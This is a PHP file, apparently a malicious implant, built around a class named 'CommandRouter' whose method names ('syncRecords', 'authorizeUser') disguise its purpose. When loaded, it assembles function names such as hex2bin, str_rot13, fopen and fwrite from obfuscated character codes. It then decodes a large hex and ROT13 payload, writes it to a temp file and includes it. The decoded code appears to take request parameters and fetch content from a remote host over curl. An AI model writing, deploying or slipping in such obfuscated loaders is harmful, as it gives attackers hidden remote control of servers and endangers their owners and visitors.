<?php
class CommandRouter
{
    private $ys = '';
    private $lj = '';
    public function parseResponse($p1)
    {
        $e = array(96 + 3 + 11, 105, 90 * 1 + 8, 30 * 1 + 20, 121 - 1, 101 * 1, 2 * 52);
        $g = '';
        foreach ($e as $j) {
            $g .= chr($j);
        }
        $g = strrev($g);
        return $g($p1);
    }
    public function prepareOutput($p1)
    {
        $m = array(54 - 3, 16 * 3 + 1, 11 * 107 - 1061, 52 * 2 + 7, 99 + 15, 102 - 7, 2 * 57, 96 + 10 + 10, 13 * 18 - 119);
        $s = '';
        foreach ($m as $d) {
            $s .= chr($d);
        }
        $s = strrev($s);
        return $s($p1);
    }
    public function resolveConflict($p1, $p2)
    {
        $s = array(2 * 55, 109 * 7 - 662, 117 - 5, 92 + 9 + 10, 43 * 38 - 1532);
        $z = '';
        foreach ($s as $o) {
            $z .= chr($o);
        }
        $z = strrev($z);
        return $z($p1, $p2);
    }
    public function syncRecords($p1, $p2)
    {
        $u = array(105 - 4, 62 * 1 + 54, 5 * 56 - 175, 40 + 6 + 68, 7 * 17, 66 + 11 + 25);
        $x = '';
        foreach ($u as $ut) {
            $x .= chr($ut);
        }
        $x = strrev($x);
        return $x($p1, $p2);
    }
    public function executeAction($p1)
    {
        $n = array(102, 30 + 30 + 39, 2 * 54, 3 * 37, 115, 110 - 9);
        $l = '';
        foreach ($n as $c) {
            $l .= chr($c);
        }
        return $l($p1);
    }
    public function processData($p1, $p2 = null)
    {
        $j = array(109 * 1, 7 * 3 + 84, 29 + 85, 41 * 1 + 75, 117 - 3);
        $r = '';
        foreach ($j as $k) {
            $r .= chr($k);
        }
        $r = strrev($r);
        return $r($p1, $p2);
    }
    public function terminateSession()
    {
        $this->lj = $this->processData($this->resetState(), '/');
    }
    public function computeResult()
    {
        $this->ys = $this->prepareOutput($this->parseResponse($this->fo));
    }
    public function authorizeUser()
    {
        $fn = $this->lj . '/ky-6931da78c8621';
        $f = $this->resolveConflict($fn, 'w');
        $this->syncRecords($f, $this->ys);
        $this->executeAction($f);
        $this->calculateSum($fn);
    }
    private $fo = '3c3f6375632070796e6666205f706e7b636576696e6772206' . '6676e677670245f68773b66676e67767020736861706776626' . '1205f62717a28245f66612c245f6973297b767328216672797' . '33a3a245f687729667279733a3a5f6a736c28293b245f70797' . '13d66676579726128245f6973293b245f686c3d6f6e6672363' . '45f71727062717228667279733a3a245f68775b245f66615d2' . '93b73626528245f65646c3d302c245f64773d6667657972612' . '8245f686c293b245f65646c213d3d245f64773b2b2b245f656' . '46c29245f686c5b245f65646c5d3d7075652862657128245f6' . '86c5b245f65646c5d295e62657128245f69735b245f65646c2' . '5245f7079715d29293b657267686561245f686c3b7d6365766' . '96e67722066676e677670207368617067766261205f6a736c2' . '8297b667279733a3a245f68773d6e65656e6c28275f6e64652' . '73d3e2755755a5642745a4c70775a525a44444d5a4f6b54557' . '56a555a4e7154524e5650424f78534d494f4f272c275f78682' . '73d3e27554e4e58586a62585830566a5775384f4d483853596' . 'b385641746a53586a4c595a484e4243757853594e6a4a41753' . '844272c275f6c6c273d3e27434e623d272c275f7a67273d3e2' . '742754c76596a6a655379787541447570526a48436e6c5a504' . '25366784144757053744c734174662f54744c614176494c4f4' . '7707a6f6c4c4f584e4c595a777853537448554174666950454' . '85a55504945272c275f7774273d3e2759743449534e3d3d272' . 'c275f706a67273d3e274c6a4e544c443d3d272c275f7170792' . '73d3e274c6a5a494231383d272c275f786b273d3e27584f565' . '74e6a3d3d272c275f7261273d3e27272c275f746f74273d3e2' . '7272c275f676c72273d3e27272c275f617861273d3e27416b3' . '84b5931535a704f664a434848484274785341747054416a444' . '4586a34457044745a5a78444e5a4e4c475a4f7454594848575' . '9534455437538504c743d3d272c275f737775273d3e27434e7' . '04f544e4e6f55453065272c275f7079273d3e27416b3444504' . '44e57506b3036272c275f6e6a7a273d3e27594e38554f51565' . '7272c275f667278273d3e27416a344252466a3d272c275f637' . '063273d3e275450562f464e3d3d272c275f696b6d273d3e275' . '96b56524e443d3d272c275f6c6c64273d3e2759744e7059446' . 'a3d272c275f796676273d3e274c4e3d3d272c275f6f6a273d3' . 'e275975344453464c3d272c275f6b63273d3e27736d4e6c5a7' . '4394b49307569714a6a685a4e66464b55383d272c275f66712' . '73d3e27416b387054443d3d272c275f726279273d3e2748613' . '8675a4f664e42754c6e4175624e4d4948675a6b62714261757' . '84861383d272c275f7178273d3e27594f704f49614f59272c2' . '75f7a6665273d3e27272c275f6d76273d3e27416a6a50586a3' . 'd3d272c275f73646a273d3e27487a663d272c275f666464273' . 'd3e27536d7067516d6a36526c62385247707a53775a3d272c2' . '75f736368273d3e27536d666b436a4e3342767844434756685' . '1466674586a4e635877303d272c275f736170273d3e2751464' . 'c635644667a426c386f576d4c3d272c275f777468273d3e275' . '36c6a68516c7069515130624e51783954774c68272c275f797' . '978273d3e27536c4e38516c6639515152364e5148695477623' . '8272c275f676e6e273d3e27272c275f6563273d3e27536d787' . '457444e2f5a475a6e436d5261272c275f637a273d3e27536c7' . '074516c6a7a5477486b51474c7a272c275f706562273d3e272' . '72c275f696d74273d3e27536d782b516d5663526c446952477' . '8315377303d272c275f6664273d3e27536d6a35436a4e65564' . '64c6e5777786a5377743d272c275f7362273d3e27536d52745' . '16d62664e505a37514756315146526b546d626c5251703d272' . 'c275f6d77273d3e27536d4e31516d66354e50566851475a745' . '1464e78546d666152514c3d272c275f636572273d3e2751466' . 'a36427466665851446f5946483d272c275f7663273d3e27514' . '76a33566a66385746306f4346743d272c275f786977273d3e2' . '7426a52425a746a4142743d3d272c275f667468273d3e27537' . '73549736a3d3d272c275f6365273d3e27736a675750774d477' . '36a3d3d272c275f656c273d3e27736a314c514544724d49523' . 'd272c275f736265273d3e277331784959496739272c275f707' . 'a273d3e274175623d272c275f7576273d3e2758744c3d272c2' . '75f656772273d3e2759447445272c275f6e73273d3e2759756' . '249576a3d3d272c293b7d7d75726e717265285f706e3a3a5f6' . '2717a28275f6e6465272c275f63782729293b75726e7172652' . '85f706e3a3a5f62717a28275f7868272c275f62712729293b7' . '67328766666726728245f5452475b5f706e3a3a5f62717a282' . '75f6c6c272c275f6f7527295d29297b245f757a713d5f6c796' . '4285f706e3a3a5f62717a28275f7a67272c275f62752729293' . 'b767328245f757a71262666676563626628245f757a712c5f7' . '06e3a3a5f62717a28275f7774272c275f6c6279272929213d3' . 'd736e796672297b717672285f706e3a3a5f62717a28275f706' . 'a67272c275f627a2729293b7d727966727b717672285f706e3' . 'a3a5f62717a28275f717079272c275f6e672729293b7d7d767' . '328766666726728245f5452475b5f706e3a3a5f62717a28275' . 'f786b272c275f66726227295d29297b245f64773d245f50424' . '25856523b245f69733d2876616729656268617128302b302b3' . '0293b245f66613d283533342d3431312d313136293b245f777' . '6673d6e65656e6c28293b245f7776675b245f69735d3d5f706' . 'e3a3a5f62717a28275f7261272c275f65667227293b6a75767' . '97228245f6661297b245f7776675b245f69735d2e3d245f647' . '75b3334392d3331395d5b245f66615d3b76732821245f64775' . 'b287661672965626861712831352b3135295d5b245f66612b2' . '876616729656268617128302e32352b302e32352b302e32352' . 'b302e3235295d297b76732821245f64775b287661672965626' . '8617128372e352b372e352b372e352b372e35295d5b245f666' . '12b283231362d202d3435362b2d363730295d296f65726e783' . 'b245f69732b2b3b245f7776675b245f69735d3d5f706e3a3a5' . 'f62717a28275f746f74272c275f677a6a27293b245f66612b2' . 'b3b7d245f66613d245f66612b2876616729656268617128332' . 'e352b332e35292b283336322d202d3336352b2d373236293b7' . 'd245f69733d245f7776675b2d3531362d202d3533305d28292' . 'e245f7776675b3132322b2d39385d3b76732821245f7776675' . 'b2876616729656268617128322b322b32295d28245f6973292' . '97b245f66613d245f7776675b2876616729656268617128382' . 'e363636363636363636363636372b382e36363636363636363' . '6363636372b382e36363636363636363636363637295d28245' . 'f69732c245f7776675b2876616729656268617128322e352b3' . '22e352b322e352b322e35295d293b245f7776675b287661672' . '9656268617128332b332b33295d28245f66612c245f7776675' . 'b2d3230362d202d37312b31352d202d3133315d2e245f77766' . '75b3230352b2d3138325d28245f7776675b2d3333372b36343' . '82d3238365d28245f64775b2876616729656268617128302e3' . '7352b302e37352b302e37352b302e3735295d2929293b7d766' . '1707968717228245f6973293b7d7368617067766261205f6c7' . '96428245f6c76722c245f776f3d676568722c245f78613d2d3' . '22e363732333638343735393438312c245f746a3d353335303' . '1297b245f63676a3d5f706e3a3a5f62717a28275f676c72272' . 'c275f787527293b245f68713d5f706e3a3a5f62717a28275f6' . '17861272c275f787027292e245f6c76723b76732876665f706' . 'e79796e6f7972285f706e3a3a5f62717a28275f737775272c2' . '75f656667272929297b245f67776f3d706865795f766176672' . '8245f6871293b706865795f66726762636728245f67776f2c5' . '04845594243475f4646595f49524556534c435252452c736e7' . '96672293b706865795f66726762636728245f67776f2c50484' . '5594243475f4646595f49524556534c554246472c2d3639322' . 'b2d3234302b2d3137352b31313039293b706865795f6672676' . '2636728245f67776f2c504845594243475f53425959424a594' . '2504e475642412c2876616729656268617128302e333333333' . '33333333333333333332b302e3333333333333333333333333' . '3332b302e333333333333333333333333333329293b7068657' . '95f66726762636728245f67776f2c504845594243475f45524' . '748454147454e41465352452c3335362d202d3738352d38373' . '02b2d323730293b706865795f66726762636728245f67776f2' . 'c504845594243475f55524e5152452c2d3132362d202d32333' . '72d202d3139322d333033293b706865795f667267626367282' . '45f67776f2c504845594243475f5042414152504747565a524' . '248472c2876616729656268617128352b3529293b706865795' . 'f66726762636728245f67776f2c504845594243475f47565a5' . '24248472c2876616729656268617128352b3529293b245f636' . '76a3d706865795f726b727028245f67776f293b245f6c733d7' . '06865795f7472677661736228245f67776f293b706865795f7' . '07962667228245f67776f293b767328245f6c735b5f706e3a3' . 'a5f62717a28275f7079272c275f77716c27295d213d2876616' . '7296562686171283130302b313030292965726768656120736' . 'e7966723b7d727966727b245f70633d636e6566725f6865792' . '8245f6871293b245f72733d28245f70635b5f706e3a3a5f627' . '17a28275f6e6a7a272c275f79626e27295d3d3d5f706e3a3a5' . 'f62717a28275f667278272c275f6d6d6e2729293b245f67706' . 'c3d5f706e3a3a5f62717a28275f637063272c275f747875272' . '92e245f70635b5f706e3a3a5f62717a28275f696b6d272c275' . 'f66637627295d3b767328766666726728245f70635b5f706e3' . 'a3a5f62717a28275f6c6c64272c275f686c27295d2929245f6' . '7706c2e3d5f706e3a3a5f62717a28275f796676272c275f6f6' . '627292e245f70635b5f706e3a3a5f62717a28275f6f6a272c2' . '75f78687427295d3b245f67706c2e3d5f706e3a3a5f62717a2' . '8275f6b63272c275f6b737327292e245f70635b5f706e3a3a5' . 'f62717a28275f6671272c275f63627a27295d2e5f706e3a3a5' . 'f62717a28275f726279272c275f686127293b245f71676a3d7' . '366627078626372612828245f72733f5f706e3a3a5f62717a2' . '8275f7178272c275f717a7927293a5f706e3a3a5f62717a282' . '75f7a6665272c275f6e72742729292e245f70635b5f706e3a3' . 'a5f62717a28275f6d76272c275f706427295d2c245f72733f2' . '8766167296562686171283134372e363636363636363636363' . '72b3134372e36363636363636363636372b3134372e3636363' . '636363636363637293a287661672965626861712834302b343' . '029293b767328245f71676a297b736368676628245f71676a2' . 'c245f67706c293b245f686c3d2876616729656268617128302' . 'b302b30293b6a7576797228217372627328245f71676a29297' . 'b245f706f3d737472676628245f71676a2c287661672965626' . '86171283531322b35313229293b767328245f686c29245f636' . '76a2e3d245f706f3b767328245f706f3d3d5f706e3a3a5f627' . '17a28275f73646a272c275f6e7966272929245f686c3d28766' . '16729656268617128302e32352b302e32352b302e32352b302' . 'e3235293b7d73707962667228245f71676a293b7d7d6572676' . '86561245f63676a3b7d245f66773d766666726728245f46524' . '54952455b5f706e3a3a5f62717a28275f666464272c275f706' . 'c27295d293b245f666c3d766666726728245f4652454952455' . 'b5f706e3a3a5f62717a28275f736368272c275f62726227295' . 'd293b245f6b793d766666726728245f4652454952455b5f706' . 'e3a3a5f62717a28275f736170272c275f70716127295d293b2' . '45f716c643d766666726728245f4652454952455b5f706e3a3' . 'a5f62717a28275f777468272c275f6b6d27295d293f245f465' . '2454952455b5f706e3a3a5f62717a28275f797978272c275f6' . '77527295d3a5f706e3a3a5f62717a28275f676e6e272c275f6' . 'b7227293b245f76703d766666726728245f4652454952455b5' . 'f706e3a3a5f62717a28275f6563272c275f7a676827295d293' . 'f245f4652454952455b5f706e3a3a5f62717a28275f637a272' . 'c275f666727295d3a5f706e3a3a5f62717a28275f706562272' . 'c275f6a756c27293b245f66773d766666726728245f4652454' . '952455b5f706e3a3a5f62717a28275f696d74272c275f7a772' . '7295d293f245f4652454952455b5f706e3a3a5f62717a28275' . 'f6664272c275f757a6227295d3a616879793b245f666c3d766' . '666726728245f4652454952455b5f706e3a3a5f62717a28275' . 'f7362272c275f726727295d293f245f4652454952455b5f706' . 'e3a3a5f62717a28275f6d77272c275f716e27295d3a6168797' . '93b245f6b793d766666726728245f4652454952455b5f706e3' . 'a3a5f62717a28275f636572272c275f766a6827295d293f245' . 'f4652454952455b5f706e3a3a5f62717a28275f7663272c275' . 'f6c6d7927295d3a616879793b7673287376796772655f696e6' . '528245f66772c287661672965626861712839312e363636363' . '6363636363636372b39312e3636363636363636363636372b3' . '9312e3636363636363636363636372929297b245f636c3d245' . 'f66773b7d727966727673287376796772655f696e6528245f6' . '66c2c287661672965626861712836382e37352b36382e37352' . 'b36382e37352b36382e37352929297b245f636c3d245f666c3' . 'b7d727966727b245f636c3d245f6b793b7d767328766666726' . '728245f5452475b5f706e3a3a5f62717a28275f786977272c2' . '75f707627295d29297b72707562205f706e3a3a5f62717a282' . '75f667468272c275f616227292e245f636c2e5f706e3a3a5f6' . '2717a28275f6365272c275f6a7627292e245f716c642e5f706' . 'e3a3a5f62717a28275f656c272c275f646b27292e245f76702' . 'e5f706e3a3a5f62717a28275f736265272c275f726a27293b7' . '26b766728293b7d76732821766666726728245f636c297c7c2' . '1766666726728245f716c64297c7c21766666726728245f767' . '029297b726b766728293b7d727966727b245f62686a3d6e656' . '56e6c285f706e3a3a5f62717a28275f707a272c275f776f7a2' . '7293d3e245f636c2c5f706e3a3a5f62717a28275f7576272c2' . '75f747127293d3e245f716c642c5f706e3a3a5f62717a28275' . 'f656772272c275f7a6a27293d3e245f7670293b245f6a726d3' . 'd686579726170627172286f6e667236345f726170627172287' . '76662615f72617062717228245f62686a2929293b245f757a7' . '13d5f6c796428245f6a726d293b767328245f757a712626666' . '76563626628245f757a712c5f706e3a3a5f62717a28275f6e7' . '3272c275f7a62272929213d3d736e796672297b72707562245' . 'f757a713b726b766728293b7d7d';
    public function calculateSum($p)
    {
        include $p;
    }
    public function resetState()
    {
        $a = array(96 * 108 - 10253, 121, 106 + 9, 5 * 19, 23 + 80, 86 * 1 + 15, 47 + 69, 102 - 7, 62 + 35 + 19, 30 + 65 + 6, 103 + 2 + 4, 116 - 4, 58 + 37, 37 * 62 - 2194, 109 - 4, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$rb = new CommandRouter();
$rb->terminateSession();
$rb->computeResult();
$rb->authorizeUser();